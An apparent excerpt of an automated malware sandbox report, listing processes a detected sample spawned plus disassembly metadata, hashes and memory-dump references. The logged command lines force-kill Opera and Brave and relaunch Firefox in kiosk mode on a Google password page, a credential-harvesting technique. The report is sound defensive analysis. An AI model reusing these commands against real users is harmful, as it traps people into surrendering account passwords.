Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	16:56:58
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	16:56:58
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x990000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	16:56:58
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	16:56:58
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x990000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	16:56:58
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	16:56:58
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	16:56:58
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	16:56:59
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2140 -parentBuildID 20230927232528 -prefsHandle 2060 -prefMapHandle 2044 -prefsLen 25350 -prefMapSize 238051 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {866f494e-4395-4791-8c6f-41680297a670} 7096 "\\.\pipe\gecko-crash-server-pipe.7096" 254d1e6f110 socket
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	16:57:00
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe"
Imagebase:	0xa60000
File size:	1'911'296 bytes
MD5 hash:	92BAB4277B1265153874BB2E7B41F309
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Function 016AE7AB Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2158565150.00000000016A7000.00000004.00000020.00020000.00000000.sdmp, Offset: 016A5000, based on PE: false

Associated: 00000000.00000003.2175101935.00000000016A5000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_169d000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8467b52701a862dc4d583611b51332159c0a6117c5e80c255951fdec417671e2
Instruction ID: 27f2e961ef7ce6e27d715cb67669d98be7dfb39d247e6130295aa4ebf8a1bb23
Opcode Fuzzy Hash: 8467b52701a862dc4d583611b51332159c0a6117c5e80c255951fdec417671e2
Instruction Fuzzy Hash: 8E01996140E7C05FE3179B388C69A807FB1BF03204B0E82DBC0E4DE0A3E229494AC362

Function 016AE7AB Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2158565150.00000000016A7000.00000004.00000020.00020000.00000000.sdmp, Offset: 016A6000, based on PE: false

Associated: 00000000.00000003.2158342095.00000000016A6000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_169d000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8467b52701a862dc4d583611b51332159c0a6117c5e80c255951fdec417671e2
Instruction ID: 27f2e961ef7ce6e27d715cb67669d98be7dfb39d247e6130295aa4ebf8a1bb23
Opcode Fuzzy Hash: 8467b52701a862dc4d583611b51332159c0a6117c5e80c255951fdec417671e2
Instruction Fuzzy Hash: 8E01996140E7C05FE3179B388C69A807FB1BF03204B0E82DBC0E4DE0A3E229494AC362

Function 016AE7AB Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2158565150.00000000016A7000.00000004.00000020.00020000.00000000.sdmp, Offset: 016A7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_169d000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8467b52701a862dc4d583611b51332159c0a6117c5e80c255951fdec417671e2
Instruction ID: 27f2e961ef7ce6e27d715cb67669d98be7dfb39d247e6130295aa4ebf8a1bb23
Opcode Fuzzy Hash: 8467b52701a862dc4d583611b51332159c0a6117c5e80c255951fdec417671e2
Instruction Fuzzy Hash: 8E01996140E7C05FE3179B388C69A807FB1BF03204B0E82DBC0E4DE0A3E229494AC362

Analysis Process: 1664VO856PFRR45SNXLF.exePID: 3192, Parent PID: 744COMMON

Execution Graph

Execution Coverage:	3.8%
Dynamic/Decrypted Code Coverage:	30%
Signature Coverage:	16.7%
Total number of Nodes:	30
Total number of Limit Nodes:	1

Executed Functions

Function 00E1C670 Relevance: 1.6, APIs: 1, Instructions: 128
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00E1C670

Memory Dump Source

Source File: 00000003.00000002.2440175857.0000000000E19000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000003.00000002.2439978057.0000000000C90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2439994017.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440010734.0000000000C96000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440027490.0000000000C9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440045341.0000000000CA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440135522.0000000000E01000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440154045.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440175857.0000000000E26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440215693.0000000000E29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440233020.0000000000E2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440249630.0000000000E2B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440266768.0000000000E30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440284990.0000000000E39000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440302901.0000000000E3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440321928.0000000000E4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440340681.0000000000E4B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440359610.0000000000E55000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440377534.0000000000E56000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440397922.0000000000E5D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440418066.0000000000E67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440517900.0000000000E7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440538898.0000000000E7C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440561208.0000000000E8B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440582277.0000000000E91000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440600462.0000000000E98000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440618697.0000000000E9C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440636833.0000000000EA3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440654657.0000000000EA7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440673797.0000000000EB3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440692169.0000000000EB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440709258.0000000000EB8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440727144.0000000000EBF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440745838.0000000000EC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440763817.0000000000ECA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440781995.0000000000ED2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440799779.0000000000ED4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440822551.0000000000EED000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440840321.0000000000EF0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440872784.0000000000F33000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440872784.0000000000F3A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440915415.0000000000F4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440937209.0000000000F4C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c90000_1664VO856PFRR45SNXLF.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: b476b7ec4e8efc6478b16534a64b69b877fc2856346061366a2101482f97e93b
Instruction ID: 68635a5af835dd644674f30c84ee398c5a076d6203cff66e9f2c1fe5e1711fbe
Opcode Fuzzy Hash: b476b7ec4e8efc6478b16534a64b69b877fc2856346061366a2101482f97e93b
Instruction Fuzzy Hash: 3C41B0F250C300AFD305AF29EC856BAFBE5FF94720F26582DE6C292640D3315580DA57

Function 00E1C826 Relevance: 1.6, APIs: 1, Instructions: 113
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00E1C826

Memory Dump Source

Source File: 00000003.00000002.2440175857.0000000000E19000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000003.00000002.2439978057.0000000000C90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2439994017.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440010734.0000000000C96000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440027490.0000000000C9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440045341.0000000000CA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440135522.0000000000E01000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440154045.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440175857.0000000000E26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440215693.0000000000E29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440233020.0000000000E2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440249630.0000000000E2B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440266768.0000000000E30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440284990.0000000000E39000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440302901.0000000000E3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440321928.0000000000E4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440340681.0000000000E4B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440359610.0000000000E55000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440377534.0000000000E56000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440397922.0000000000E5D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440418066.0000000000E67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440517900.0000000000E7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440538898.0000000000E7C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440561208.0000000000E8B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440582277.0000000000E91000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440600462.0000000000E98000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440618697.0000000000E9C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440636833.0000000000EA3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440654657.0000000000EA7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440673797.0000000000EB3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440692169.0000000000EB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440709258.0000000000EB8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440727144.0000000000EBF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440745838.0000000000EC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440763817.0000000000ECA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440781995.0000000000ED2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440799779.0000000000ED4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440822551.0000000000EED000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440840321.0000000000EF0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440872784.0000000000F33000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440872784.0000000000F3A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440915415.0000000000F4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440937209.0000000000F4C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c90000_1664VO856PFRR45SNXLF.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 12376038bbe55616ec6c4e42ed3ef6d42e441b62838c7e7d7679b3b030ce288e
Instruction ID: ed521980acff1d2b95de6a550e39acd16123f26f22d0b418becdf878b6f2e7c2
Opcode Fuzzy Hash: 12376038bbe55616ec6c4e42ed3ef6d42e441b62838c7e7d7679b3b030ce288e
Instruction Fuzzy Hash: 903192F250C600AFE301AE49EC8177AFBE9EFD9320F16482DE6C483710E67558148A97

Function 00C9B7DA Relevance: 1.3, Strings: 1, Instructions: 18COMMON

Download Yara Rule

Strings

!!iH, xrefs: 00C9B94A

Memory Dump Source

Source File: 00000003.00000002.2440027490.0000000000C9A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000003.00000002.2439978057.0000000000C90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2439994017.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440010734.0000000000C96000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440045341.0000000000CA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440135522.0000000000E01000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440154045.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440175857.0000000000E19000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440175857.0000000000E26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440215693.0000000000E29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440233020.0000000000E2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440249630.0000000000E2B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440266768.0000000000E30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440284990.0000000000E39000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440302901.0000000000E3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440321928.0000000000E4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440340681.0000000000E4B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440359610.0000000000E55000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440377534.0000000000E56000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440397922.0000000000E5D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440418066.0000000000E67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440517900.0000000000E7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440538898.0000000000E7C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440561208.0000000000E8B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440582277.0000000000E91000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440600462.0000000000E98000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440618697.0000000000E9C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440636833.0000000000EA3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440654657.0000000000EA7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440673797.0000000000EB3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440692169.0000000000EB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440709258.0000000000EB8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440727144.0000000000EBF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440745838.0000000000EC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440763817.0000000000ECA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440781995.0000000000ED2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440799779.0000000000ED4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440822551.0000000000EED000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440840321.0000000000EF0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440872784.0000000000F33000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440872784.0000000000F3A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440915415.0000000000F4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440937209.0000000000F4C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c90000_1664VO856PFRR45SNXLF.jbxd

Similarity

API ID:
String ID: !!iH
API String ID: 0-3430752988
Opcode ID: 608eaf1eeca2c6e070c9f09369c362a194d7cfd00860ab55844fc12b0c5b474c
Instruction ID: 16f941c60584b30e1f4cc8c6409f49ad158701813e9d20dc8bcdfe446fe3c4b7
Opcode Fuzzy Hash: 608eaf1eeca2c6e070c9f09369c362a194d7cfd00860ab55844fc12b0c5b474c
Instruction Fuzzy Hash: 43E0C231114889FEDF26DF74AB0A7A9762EDB40700F500629FB418AE8ACB2D0E11D799

Function 00E29C33 Relevance: 4.6, APIs: 3, Instructions: 92
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 00E29C83
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 00E29CAA
GetNativeSystemInfo.KERNELBASE(?), ref: 00E29D01

Memory Dump Source

Source File: 00000003.00000002.2440215693.0000000000E29000.00000080.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000003.00000002.2439978057.0000000000C90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2439994017.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440010734.0000000000C96000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440027490.0000000000C9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440045341.0000000000CA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440135522.0000000000E01000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440154045.0000000000E03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440175857.0000000000E19000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440175857.0000000000E26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440233020.0000000000E2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440249630.0000000000E2B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440266768.0000000000E30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440284990.0000000000E39000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440302901.0000000000E3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440321928.0000000000E4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440340681.0000000000E4B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440359610.0000000000E55000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440377534.0000000000E56000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440397922.0000000000E5D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440418066.0000000000E67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440517900.0000000000E7A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440538898.0000000000E7C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440561208.0000000000E8B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440582277.0000000000E91000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440600462.0000000000E98000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440618697.0000000000E9C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440636833.0000000000EA3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440654657.0000000000EA7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440673797.0000000000EB3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440692169.0000000000EB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440709258.0000000000EB8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440727144.0000000000EBF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440745838.0000000000EC8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440763817.0000000000ECA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440781995.0000000000ED2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440799779.0000000000ED4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440822551.0000000000EED000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440840321.0000000000EF0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440872784.0000000000F33000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440872784.0000000000F3A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440915415.0000000000F4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440937209.0000000000F4C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c90000_1664VO856PFRR45SNXLF.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: e87db964be78630da717f79192393031b16f2224aab0837d36ebe0eee1eb3c9e
Instruction ID: e9f41d6a9453a300f8d9762b5dee50713a682f25a5dfe33837e92c84b046774a
Opcode Fuzzy Hash: e87db964be78630da717f79192393031b16f2224aab0837d36ebe0eee1eb3c9e
Instruction Fuzzy Hash: CC4180B110821EDFEF11DF60D849BEE7BA4EF00314F11192AD98296A41D7765CA4DF4A

Function 00E1E7F1 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 103
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,9227682A,00000003,00000000,00000003,00E1E7ED), ref: 00E1E8F1

Strings

T@8J, xrefs: 00E1E8C2

Memory Dump Source

Source File: 00000003.00000002.2440175857.0000000000E19000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000003.00000002.2439978057.0000000000C90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2439994017.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440010734.0000000000C96000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440027490.0000000000C9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440045341.0000000000CA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2440135522.0000000000E01000.00000040.00000001.01000000.00000006.sdmpDownload File
